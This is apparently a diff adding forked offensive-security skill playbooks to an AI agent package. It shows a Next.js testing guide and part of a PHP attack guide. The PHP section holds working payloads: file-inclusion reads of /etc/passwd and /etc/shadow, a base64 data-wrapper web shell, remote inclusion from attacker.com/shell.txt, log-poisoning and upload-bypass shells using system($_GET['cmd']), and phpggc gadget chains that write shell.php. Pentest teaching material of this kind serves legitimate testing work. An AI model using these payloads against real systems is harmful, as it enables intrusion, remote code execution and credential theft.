- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,230 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: nextjs
|
|
5
|
+
description: Security testing playbook for Next.js covering App Router, Server Actions, RSC, and Edge runtime vulnerabilities
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Next.js
|
|
9
|
+
|
|
10
|
+
Security testing for Next.js applications. Focus on authorization drift across runtimes (Edge/Node), caching boundaries, server actions, and middleware bypass.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Routers**
|
|
15
|
+
- App Router (`app/`) and Pages Router (`pages/`) often coexist
|
|
16
|
+
- Route Handlers (`app/api/**`) and API routes (`pages/api/**`)
|
|
17
|
+
- Middleware: `middleware.ts` at project root
|
|
18
|
+
|
|
19
|
+
**Runtimes**
|
|
20
|
+
- Node.js (full API access)
|
|
21
|
+
- Edge (V8 isolates, restricted APIs)
|
|
22
|
+
|
|
23
|
+
**Rendering & Caching**
|
|
24
|
+
- SSR, SSG, ISR, on-demand revalidation
|
|
25
|
+
- RSC (React Server Components) with fetch cache
|
|
26
|
+
- Draft/preview mode
|
|
27
|
+
|
|
28
|
+
**Data Paths**
|
|
29
|
+
- Server Components, Client Components
|
|
30
|
+
- Server Actions (streamed POST with `Next-Action` header)
|
|
31
|
+
- `getServerSideProps`, `getStaticProps`
|
|
32
|
+
|
|
33
|
+
**Integrations**
|
|
34
|
+
- NextAuth.js (callbacks, CSRF, callbackUrl)
|
|
35
|
+
- `next/image` optimization and remote loaders
|
|
36
|
+
|
|
37
|
+
## High-Value Targets
|
|
38
|
+
|
|
39
|
+
- Middleware-protected routes (auth, geo, A/B)
|
|
40
|
+
- Admin/staff paths, draft/preview content, on-demand revalidate endpoints
|
|
41
|
+
- RSC payloads and flight data, streamed responses
|
|
42
|
+
- Image optimizer and custom loaders, remotePatterns/domains
|
|
43
|
+
- NextAuth callbacks (`/api/auth/callback/*`), sign-in providers
|
|
44
|
+
- Edge-only features (bot protection, IP gates) and their Node equivalents
|
|
45
|
+
|
|
46
|
+
## Reconnaissance
|
|
47
|
+
|
|
48
|
+
**Route Discovery**
|
|
49
|
+
|
|
50
|
+
```javascript
|
|
51
|
+
// Browser console - list all routes
|
|
52
|
+
console.log(__BUILD_MANIFEST.sortedPages.join('\n'))
|
|
53
|
+
|
|
54
|
+
// Inspect server-fetched data
|
|
55
|
+
JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps
|
|
56
|
+
|
|
57
|
+
// List public environment variables
|
|
58
|
+
Object.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_'))
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
**Build Artifacts**
|
|
62
|
+
```
|
|
63
|
+
GET /_next/static/<buildId>/_buildManifest.js
|
|
64
|
+
GET /_next/static/<buildId>/_ssgManifest.js
|
|
65
|
+
GET /_next/static/chunks/pages/
|
|
66
|
+
GET /_next/static/chunks/app/
|
|
67
|
+
```
|
|
68
|
+
Chunk filenames map to routes (e.g., `admin.js` → `/admin`).
|
|
69
|
+
|
|
70
|
+
**Source Maps**
|
|
71
|
+
|
|
72
|
+
Check `/_next/static/` for exposed `.map` files revealing route structure, server action IDs, and internal functions.
|
|
73
|
+
|
|
74
|
+
**Client Bundle Mining**
|
|
75
|
+
|
|
76
|
+
Search main-*.js for: `pathname:`, `href:`, `__next_route__`, `serverActions`, API endpoints. Grep for `API_KEY`, `SECRET`, `TOKEN`, `PASSWORD` to find accidentally leaked credentials.
|
|
77
|
+
|
|
78
|
+
**Server Action Discovery**
|
|
79
|
+
|
|
80
|
+
Inspect Network tab for POST requests with `Next-Action` header. Extract action IDs from response streams and hydration data.
|
|
81
|
+
|
|
82
|
+
**Additional Leakage**
|
|
83
|
+
- `/sitemap.xml`, `/robots.txt`, `/sitemap-*.xml` for unintended admin/internal/preview paths
|
|
84
|
+
- Client bundles/env for secret paths and preview/admin flags (many teams hide routes via UI only)
|
|
85
|
+
|
|
86
|
+
## Key Vulnerabilities
|
|
87
|
+
|
|
88
|
+
### Middleware Bypass
|
|
89
|
+
|
|
90
|
+
**Known Techniques**
|
|
91
|
+
- `x-middleware-subrequest` header crafting (CVE-class bypass)
|
|
92
|
+
- `x-nextjs-data` probing
|
|
93
|
+
- Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers
|
|
94
|
+
|
|
95
|
+
**Path Normalization**
|
|
96
|
+
```
|
|
97
|
+
/api/users
|
|
98
|
+
/api/users/
|
|
99
|
+
/api//users
|
|
100
|
+
/api/./users
|
|
101
|
+
```
|
|
102
|
+
Middleware may normalize differently than route handlers. Test double slashes, trailing slashes, dot segments.
|
|
103
|
+
|
|
104
|
+
**Parameter Pollution**
|
|
105
|
+
```
|
|
106
|
+
?id=1&id=2
|
|
107
|
+
?filter[]=a&filter[]=b
|
|
108
|
+
```
|
|
109
|
+
Middleware checks first value, handler uses last or array.
|
|
110
|
+
|
|
111
|
+
### Server Actions
|
|
112
|
+
|
|
113
|
+
- Invoke actions outside UI flow with alternate content-types
|
|
114
|
+
- Authorization assumed from client state rather than enforced server-side
|
|
115
|
+
- IDOR via object references in action payloads
|
|
116
|
+
- Map action IDs from source maps to discover hidden actions
|
|
117
|
+
|
|
118
|
+
### RSC & Caching
|
|
119
|
+
|
|
120
|
+
**Cache Boundary Failures**
|
|
121
|
+
- User-bound data cached without identity keys (ETag/Set-Cookie unaware)
|
|
122
|
+
- Personalized content served from shared cache/CDN
|
|
123
|
+
- Missing `no-store` on sensitive fetches
|
|
124
|
+
|
|
125
|
+
**Flight Data Leakage**
|
|
126
|
+
|
|
127
|
+
Inspect streamed RSC payloads for serialized sensitive fields in props.
|
|
128
|
+
|
|
129
|
+
**ISR Issues**
|
|
130
|
+
- Stale-while-revalidate responses containing user-specific or tenant-dependent data
|
|
131
|
+
- Weak secrets in on-demand revalidation endpoint URLs
|
|
132
|
+
- Referer-disclosed tokens or unvalidated hosts triggering `revalidatePath`/`revalidateTag`
|
|
133
|
+
- Header-smuggling or method variations to trigger revalidation
|
|
134
|
+
|
|
135
|
+
### Authentication
|
|
136
|
+
|
|
137
|
+
**NextAuth Pitfalls**
|
|
138
|
+
- Missing/relaxed state/nonce/PKCE per provider (login CSRF, token mix-up)
|
|
139
|
+
- Open redirect in `callbackUrl` or mis-scoped allowed hosts
|
|
140
|
+
- JWT audience/issuer not enforced across routes
|
|
141
|
+
- Cross-service token reuse
|
|
142
|
+
- Session hijacking by forcing callbacks
|
|
143
|
+
|
|
144
|
+
**Session Boundaries**
|
|
145
|
+
- Different auth enforcement between App Router and Pages Router
|
|
146
|
+
- API routes vs Route Handlers authorization inconsistency
|
|
147
|
+
|
|
148
|
+
### Data Exposure
|
|
149
|
+
|
|
150
|
+
**__NEXT_DATA__ Over-fetching**
|
|
151
|
+
|
|
152
|
+
Server-fetched data passed to client but not rendered:
|
|
153
|
+
- Full user objects when only username needed
|
|
154
|
+
- Internal IDs, tokens, admin-only fields
|
|
155
|
+
- ORM select-all patterns exposing entire records
|
|
156
|
+
- API responses forwarded without sanitization (metadata, cursors, debug info)
|
|
157
|
+
|
|
158
|
+
**Environment-Dependent Exposure**
|
|
159
|
+
- Staging/dev accidentally exposes more fields than production
|
|
160
|
+
- Inconsistent serialization logic across environments
|
|
161
|
+
|
|
162
|
+
**Props Inspection**
|
|
163
|
+
```javascript
|
|
164
|
+
// Check for sensitive data in page props
|
|
165
|
+
JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props
|
|
166
|
+
```
|
|
167
|
+
Look for `_metadata`, `_internal`, `__typename` (GraphQL), nested sensitive objects.
|
|
168
|
+
|
|
169
|
+
### Image Optimizer SSRF
|
|
170
|
+
|
|
171
|
+
**Remote Patterns**
|
|
172
|
+
- Broad `images.domains`/`remotePatterns` in `next.config.js`
|
|
173
|
+
- Test: internal hosts, IPv4/IPv6 variants, DNS rebinding
|
|
174
|
+
|
|
175
|
+
**Custom Loaders**
|
|
176
|
+
- Protocol smuggling via redirect chains
|
|
177
|
+
- Cache poisoning via URL normalization differences affecting other users
|
|
178
|
+
|
|
179
|
+
### Runtime Divergence
|
|
180
|
+
|
|
181
|
+
**Edge vs Node**
|
|
182
|
+
- Defenses relying on Node-only modules skipped on Edge
|
|
183
|
+
- Header trust differs (`x-forwarded-*` handling)
|
|
184
|
+
- Same route may behave differently across runtimes
|
|
185
|
+
|
|
186
|
+
### Client-Side
|
|
187
|
+
|
|
188
|
+
**XSS Vectors**
|
|
189
|
+
- `dangerouslySetInnerHTML`
|
|
190
|
+
- Markdown renderers
|
|
191
|
+
- User-controlled href/src attributes
|
|
192
|
+
- Validate CSP/Trusted Types coverage for SSR/CSR/hydration
|
|
193
|
+
|
|
194
|
+
**Hydration Mismatches**
|
|
195
|
+
|
|
196
|
+
Server vs client render differences can enable gadget-based XSS.
|
|
197
|
+
|
|
198
|
+
### Draft/Preview Mode
|
|
199
|
+
|
|
200
|
+
- Secret URLs/cookies enabling preview
|
|
201
|
+
- Preview secrets leaked in client bundles/env
|
|
202
|
+
- Setting preview cookies from subdomains or via open redirects
|
|
203
|
+
|
|
204
|
+
## Bypass Techniques
|
|
205
|
+
|
|
206
|
+
- Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded`
|
|
207
|
+
- Method override: `_method`, `X-HTTP-Method-Override`, GET on endpoints accepting writes
|
|
208
|
+
- Case/param aliasing and query duplication affecting middleware vs handler parsing
|
|
209
|
+
- Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers)
|
|
210
|
+
|
|
211
|
+
## Testing Methodology
|
|
212
|
+
|
|
213
|
+
1. **Enumerate** - Use `__BUILD_MANIFEST`, source maps, build artifacts, sitemap/robots to map all routes
|
|
214
|
+
2. **Runtime matrix** - Test each route under Edge and Node runtimes
|
|
215
|
+
3. **Role matrix** - Test as unauth/user/admin across SSR, API routes, Route Handlers, Server Actions
|
|
216
|
+
4. **Cache probing** - Verify caching respects identity (strip cookies, alter Vary headers, check ETags)
|
|
217
|
+
5. **Middleware validation** - Test path variants and header manipulation for bypass
|
|
218
|
+
6. **Cross-router** - Compare authorization between App Router and Pages Router paths
|
|
219
|
+
|
|
220
|
+
## Validation Requirements
|
|
221
|
+
|
|
222
|
+
- Side-by-side requests showing cross-user/tenant access
|
|
223
|
+
- Cache boundary failure proof (response diffs, ETag collisions)
|
|
224
|
+
- Server action invocation outside UI with insufficient auth
|
|
225
|
+
- Middleware bypass with explicit headers showing protected content access
|
|
226
|
+
- Runtime parity checks (Edge vs Node inconsistent enforcement)
|
|
227
|
+
- Discovered routes verified as deployed (200/403) not just build artifacts (404)
|
|
228
|
+
- Leaked credentials tested with minimal read-only calls; filter placeholders
|
|
229
|
+
- `__NEXT_DATA__` exposure: verify cross-user (User A's props shouldn't contain User B's PII), confirm exposed fields not in DOM
|
|
230
|
+
- Path normalization bypasses: show differential responses (403 vs 200), redirects don't count
|
|
@@ -0,0 +1,271 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: php
|
|
5
|
+
description: Security testing playbook for generic PHP applications covering type juggling, file inclusion, deserialization, phpinfo exposure, eval injection, and PHP-specific misconfigurations
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# PHP Security Testing
|
|
9
|
+
|
|
10
|
+
PHP powers a large portion of the web. Even when using frameworks, PHP-specific vulnerabilities are common: type juggling bypasses, file inclusion (LFI/RFI), PHP deserialization gadget chains, `phpinfo()` exposure, code execution via eval/assert, and session fixation.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Fingerprinting PHP
|
|
17
|
+
|
|
18
|
+
# PHP-specific headers and paths
|
|
19
|
+
X-Powered-By: PHP/8.1.0 # PHP version disclosure
|
|
20
|
+
|
|
21
|
+
# Common PHP file extensions:
|
|
22
|
+
.php, .php3, .php4, .php5, .php7, .phtml, .phar
|
|
23
|
+
|
|
24
|
+
# Test extension alternatives:
|
|
25
|
+
GET /index.php7
|
|
26
|
+
GET /index.phtml
|
|
27
|
+
GET /admin.phar
|
|
28
|
+
|
|
29
|
+
# phpinfo() — extremely common misconfiguration
|
|
30
|
+
GET /phpinfo.php
|
|
31
|
+
GET /info.php
|
|
32
|
+
GET /php-info.php
|
|
33
|
+
GET /test.php
|
|
34
|
+
GET /phptest.php
|
|
35
|
+
GET /_phpinfo.php
|
|
36
|
+
GET /check.php
|
|
37
|
+
GET /status.php
|
|
38
|
+
|
|
39
|
+
# Backup files (editor/deploy artifacts):
|
|
40
|
+
GET /index.php~ # Vim backup
|
|
41
|
+
GET /index.php.bak
|
|
42
|
+
GET /index.php.old
|
|
43
|
+
GET /index.php.save
|
|
44
|
+
GET /config.php.bak
|
|
45
|
+
GET /db.php.bak
|
|
46
|
+
GET /.index.php.swp # Vim swap
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## PHP Type Juggling
|
|
51
|
+
|
|
52
|
+
PHP's loose comparison (`==`) has well-known coercion bugs:
|
|
53
|
+
|
|
54
|
+
# Magic hashes — MD5 hashes that start with "0e" (scientific notation → 0):
|
|
55
|
+
# If password stored as md5($pass) and compared with ==:
|
|
56
|
+
# md5('240610708') = 0e462097431906509019562988736854 → 0 == 0
|
|
57
|
+
# Send password: 240610708 → md5 starts with 0e → equals 0e hash of real password
|
|
58
|
+
|
|
59
|
+
# Common magic hash values (for md5):
|
|
60
|
+
240610708 → 0e462097431906509019562988736854
|
|
61
|
+
QNKCDZO → 0e830400451993494058024219903391
|
|
62
|
+
aabg74ZBSIyv → 0e087386482136013740957780965295
|
|
63
|
+
|
|
64
|
+
# SHA1 magic hashes:
|
|
65
|
+
10932435112 → 0e07766915004133176347055865026811914715
|
|
66
|
+
|
|
67
|
+
# Array bypass in PHP:
|
|
68
|
+
# strcmp(array, string) == 0 → true in old PHP
|
|
69
|
+
POST /login
|
|
70
|
+
password[]=anything # PHP converts to array
|
|
71
|
+
|
|
72
|
+
# Type juggling in JSON:
|
|
73
|
+
{"password": true} # true == any string in PHP loose compare
|
|
74
|
+
{"password": 0} # 0 == "password" in PHP5
|
|
75
|
+
|
|
76
|
+
# in_array loose check bypass:
|
|
77
|
+
in_array("1shell.php", ["1","2","3"]) == true # "1shell.php" == 1 (numeric)
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## File Inclusion (LFI / RFI)
|
|
82
|
+
|
|
83
|
+
# Local File Inclusion:
|
|
84
|
+
GET /page.php?file=../../../../etc/passwd
|
|
85
|
+
GET /index.php?lang=../../etc/passwd%00 # Null byte (PHP < 5.3.4)
|
|
86
|
+
GET /page.php?include=php://filter/convert.base64-encode/resource=/etc/passwd
|
|
87
|
+
|
|
88
|
+
# PHP filter chains (read any file as base64):
|
|
89
|
+
GET /page.php?file=php://filter/convert.base64-encode/resource=config.php
|
|
90
|
+
# Decode the base64 response to get source code
|
|
91
|
+
|
|
92
|
+
# PHP filter chain for RCE (no file upload needed):
|
|
93
|
+
# Tool: https://github.com/synacktiv/php_filter_chain_generator
|
|
94
|
+
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
|
|
95
|
+
GET /page.php?file=<generated_chain>&cmd=id
|
|
96
|
+
|
|
97
|
+
# Data wrapper (RCE via LFI if allow_url_include=On):
|
|
98
|
+
GET /page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
|
|
99
|
+
GET /page.php?file=data://text/plain,<?php system('id');?>
|
|
100
|
+
|
|
101
|
+
# Remote File Inclusion (RFI — requires allow_url_include=On):
|
|
102
|
+
GET /page.php?file=http://attacker.com/shell.txt
|
|
103
|
+
|
|
104
|
+
# LFI to RCE via log poisoning:
|
|
105
|
+
# 1. Inject PHP code into log file via User-Agent:
|
|
106
|
+
curl <target> -A "<?php system(\$_GET['cmd']); ?>"
|
|
107
|
+
# 2. Include the log file:
|
|
108
|
+
GET /page.php?file=/var/log/apache2/access.log&cmd=id
|
|
109
|
+
|
|
110
|
+
# LFI via /proc/self/environ (older Linux):
|
|
111
|
+
GET /page.php?file=/proc/self/environ
|
|
112
|
+
# Inject PHP in User-Agent first, then include
|
|
113
|
+
|
|
114
|
+
# Common files to read via LFI:
|
|
115
|
+
/etc/passwd
|
|
116
|
+
/etc/shadow
|
|
117
|
+
/proc/self/environ
|
|
118
|
+
/var/log/apache2/access.log
|
|
119
|
+
/var/log/nginx/access.log
|
|
120
|
+
/var/log/auth.log
|
|
121
|
+
/var/www/html/config.php
|
|
122
|
+
/var/www/html/.env
|
|
123
|
+
/proc/self/fd/0 # stdin (may contain request data)
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## PHP Deserialization
|
|
128
|
+
|
|
129
|
+
PHP `unserialize()` with user-controlled data enables object injection:
|
|
130
|
+
|
|
131
|
+
# Detect: base64-encoded data starting with "O:" in cookie, parameter, or POST body
|
|
132
|
+
# O:4:"User":1:{s:4:"name";s:5:"admin";} = serialized User object
|
|
133
|
+
|
|
134
|
+
# Craft malicious serialized object to abuse magic methods:
|
|
135
|
+
# __destruct, __wakeup, __toString, __call are triggered automatically
|
|
136
|
+
|
|
137
|
+
# Simple example (if class with __destruct doing file_put_contents exists):
|
|
138
|
+
# O:4:"Foo":1:{s:4:"file";s:17:"/var/www/html/x.php";s:4:"data";s:25:"<?php system($_GET[0]);?>";}
|
|
139
|
+
|
|
140
|
+
# Automated tool: PHPGGC (PHP Gadget Chains):
|
|
141
|
+
phpggc -l # List available chains
|
|
142
|
+
phpggc -l | grep Symfony # Symfony chains
|
|
143
|
+
phpggc -l | grep Laravel # Laravel chains
|
|
144
|
+
|
|
145
|
+
# Common chains for popular PHP frameworks:
|
|
146
|
+
phpggc Symfony/RCE4 system id # Symfony gadget chain
|
|
147
|
+
phpggc Laravel/RCE1 system id # Laravel gadget chain
|
|
148
|
+
phpggc Guzzle/FW1 write /var/www/html/shell.php "<?php system(\$_GET[0]);?>"
|
|
149
|
+
|
|
150
|
+
# Generate base64 payload:
|
|
151
|
+
phpggc -b Symfony/RCE4 system 'id'
|
|
152
|
+
|
|
153
|
+
# Phar deserialization (PHP < 8.0 in stream wrappers):
|
|
154
|
+
# phar:// wrapper triggers deserialization when file operations are performed
|
|
155
|
+
GET /page.php?file=phar:///uploads/uploaded.jpg # If .jpg is a crafted PHAR
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
## Code Execution via eval/assert/preg_replace
|
|
160
|
+
|
|
161
|
+
# If user input reaches eval():
|
|
162
|
+
GET /page.php?code=system('id')
|
|
163
|
+
# PHP eval: eval("$code");
|
|
164
|
+
|
|
165
|
+
# assert() in PHP < 7.0 executes string as PHP:
|
|
166
|
+
GET /page.php?str=system('id')
|
|
167
|
+
# assert($str);
|
|
168
|
+
|
|
169
|
+
# preg_replace with /e modifier (PHP < 7.0):
|
|
170
|
+
# preg_replace('/<pattern>/e', $replacement, $input)
|
|
171
|
+
# If $replacement is user-controlled:
|
|
172
|
+
GET /page.php?pattern=.&replace=system('id')
|
|
173
|
+
|
|
174
|
+
# create_function (deprecated, still found):
|
|
175
|
+
# create_function('', 'system("id");')
|
|
176
|
+
|
|
177
|
+
# Dynamic function calls:
|
|
178
|
+
# $func = $_GET['fn']; $func();
|
|
179
|
+
GET /page.php?fn=phpinfo
|
|
180
|
+
GET /page.php?fn=system&arg=id
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
## PHP Session Security
|
|
185
|
+
|
|
186
|
+
# PHP session ID in cookie: PHPSESSID
|
|
187
|
+
# Default storage: /tmp/sess_<PHPSESSID> on server
|
|
188
|
+
|
|
189
|
+
# Session fixation:
|
|
190
|
+
# 1. Get session ID before login
|
|
191
|
+
# 2. Login — if session ID doesn't change = session fixation vulnerability
|
|
192
|
+
|
|
193
|
+
# Session file LFI (if LFI exists):
|
|
194
|
+
GET /page.php?file=/tmp/sess_<PHPSESSID>
|
|
195
|
+
# Inject PHP into session data first:
|
|
196
|
+
# Set a parameter that gets stored in session to PHP code
|
|
197
|
+
|
|
198
|
+
# Session upload progress (LFI vector):
|
|
199
|
+
# Upload file with PHP code in filename → session stores the filename
|
|
200
|
+
# GET /page.php?file=/tmp/sess_<id> → code execution
|
|
201
|
+
|
|
202
|
+
---
|
|
203
|
+
|
|
204
|
+
## PHP File Upload Bypass
|
|
205
|
+
|
|
206
|
+
# Extension blacklist bypass:
|
|
207
|
+
shell.php5, shell.php7, shell.phtml, shell.phar, shell.phps
|
|
208
|
+
shell.Php (capital letter bypass)
|
|
209
|
+
shell.php.jpg (double extension)
|
|
210
|
+
shell.php%00.jpg (null byte, PHP < 5.3.4)
|
|
211
|
+
shell.php (trailing space)
|
|
212
|
+
shell.php. (trailing dot)
|
|
213
|
+
|
|
214
|
+
# MIME type bypass:
|
|
215
|
+
Content-Type: image/jpeg with PHP payload content
|
|
216
|
+
|
|
217
|
+
# Magic bytes bypass (add image header):
|
|
218
|
+
GIF89a;<?php system($_GET['cmd']);?>
|
|
219
|
+
|
|
220
|
+
# .htaccess upload (if Apache and uploads served with AllowOverride):
|
|
221
|
+
filename=".htaccess"
|
|
222
|
+
Content: AddType application/x-httpd-php .jpg
|
|
223
|
+
|
|
224
|
+
---
|
|
225
|
+
|
|
226
|
+
## PHP Information Disclosure
|
|
227
|
+
|
|
228
|
+
# phpinfo() exposure reveals:
|
|
229
|
+
GET /phpinfo.php
|
|
230
|
+
# - PHP version, extensions, compile flags
|
|
231
|
+
# - Server software, document root, script path
|
|
232
|
+
# - Environment variables (may include credentials)
|
|
233
|
+
# - PHP configuration (allow_url_fopen, disable_functions, open_basedir)
|
|
234
|
+
# - Loaded modules, Zend extensions
|
|
235
|
+
|
|
236
|
+
# Key phpinfo fields to note:
|
|
237
|
+
# disable_functions: list of blocked functions (cmd execution may be blocked)
|
|
238
